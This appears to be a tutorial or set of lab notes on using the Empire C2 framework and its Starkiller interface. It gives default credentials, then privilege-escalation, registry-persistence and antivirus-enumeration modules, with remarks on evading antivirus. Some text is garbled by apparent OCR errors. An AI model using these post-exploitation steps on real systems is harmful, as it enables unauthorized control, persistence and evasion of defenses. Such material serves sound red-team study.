Empire C2

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Documentation can be found here

Starting Empire, you would run

cd /Empire ./ps-empire server ./ps-empire client

This would start the Empire sever and Empire client without the GUI. To start the GUI Starkiller

Starting Starkiller

Once Empire is started, follow the instructions below to start Starkiller.

- 1. cd /opt
- 2. ./starkiller-0.0.0.Applmage
- 3. Login to Starkiller

Default Credentials

Uri: 127.0.0.1:1337

User: empireadmin

Pass: password123

You will notice six different main tabs that you will interact with the most each one is outlined below.

- Listeners Similar to Netcat or multi/handler for receiving back stagers.
- Stagers Similar to a payload with further functionality for deploying agents.
- Agents Used to interact with agents on the device to perform "tasks".
- Modules Modules that can be used as tools or exploits.
- Credentials Reports all credentials found when using modules.
- Reporting A report of every module and command run on each agent.

Modules are used in Empire as a way of packaging tools and exploits to be easily used with agents. These modules can be useful for easily compiling exploits, using tools, and bypassing anti-virus. Empire has a collection of modules as well as the ability to add plugins that act as modules.

Once you have an agent, listener, stranger, and a live connection. You're going to then want to try to get administrator privileges on the agent. This can be done by using a module. The one listed below is just an example but is one of the better ones because of the fact that it bypasses any antivirus software because it accesses DLL files.

Empire) > usemodule powershell_privesc_ask					
id powershell_privesc_ask authors Jack64, , description Leverages Start-Process' -Verb runAs option inside a YES-Required loop to prompt the user for a high integrity context before running the agent code. UAC will report Powershell is requesting Administrator privileges. Because this does not use the BypassUAC DLLs, it should not trigger any AV alerts.					
hot trigger any AV aterts. True language powershell needs_admin opsec_safe techniques techniques comments http://attack.mitre.org/techniques/T1088 https://github.com/rapid7/metasploit- framework/blob/master/modules/exploits/windows/local/ask.rb					
-Record Options		Value	Required	Description	
Agent			True	Agent to run module on.	
Listener			True	Listener to use.	
0bfuscate		False	False	Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.	

The module below is one of the worst to use for persistent connections. You can mess around and find the best persistent connection for you and your use case. You will need to set up an agent and Listener for this module.

```
Starkiller is now the recommended way to use Empire.
Try it out at http://localhost:1337/index.html
(Empire) > usemodule powershell_persistence_userland_registry
                    powershell persistence_userland_registry Matt Graeber, @mattifestation, \frac{1}{https://twitter.com/mattifestation}
                    Will Schroeder, @harmj0y, <a href="https://twitter.com/harmj0y">https://twitter.com/harmj0y</a>
 , @enigma0x3,

description Persist a stager (or script) via the

HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. This
                    has an easy detection/removal rating.
                    powershell
 needs_admin
opsec_safe
                    http://attack.mitre.org/techniques/T1060
                    https://github.com/mattifestation/PowerSploit/blob/master/Persistence/
                    Persistence.psm1
 Record Options-
                                                                                                      Description
  Agent
                                                                                                      Agent to run module on.
  Listener
                                                                                                       Listener to use.
  Obfuscate
                                                                                                       Switch. Obfuscate the launcher
                                                                                                       powershell code, uses the ObfuscateCommand for obfuscation
```

This is one of the better ones. However, you will still need to do your own research and execution to find the best that works for your system.

Once you have a persistent connection and root/admin privileges, you can then execute payloads/reverse shells to get admin privileges. You can use Interact to take screenshots of the user's PC. The module below is one of the best for overall ease of use on taping a computer to get control.

However, if you do not have antivirus persistently disabled, you can use the situational awareness host antivirus to determine the antivirus that is running on the system.

```
(Empire: usemodule/powershell_privesc_ask) > usemodule powershell_situational_awareness_host_antivirusproduct
               powershell_situational_awareness_host_antivirusproduct
               , @mh4x0f,
Jan Egil Ring, ,
 description Get antivirus product information.
 background
               powershell
               http://attack.mitre.org/techniques/T1063
               http://blog.powershell.no/2011/06/12/use-windows-powershell-to-get-
               antivirus-product-information/
 Record Options-
                                               Description
                                               Agent to run module on.
  Agent
  ComputerName
                                               Computername to run the module on,
                                               defaults to localhost.
  OutputFunction
                    Out-String
                                               PowerShell's output function to use
                                               ("Out-String", "ConvertTo-Json"
"ConvertTo-Csv", "ConvertTo-Htm
"ConvertTo-Xml").
                                                                 "ConvertTo-Html",
(Empire: usemodule/powershell_situational_awareness_host_antivirusproduct) >
```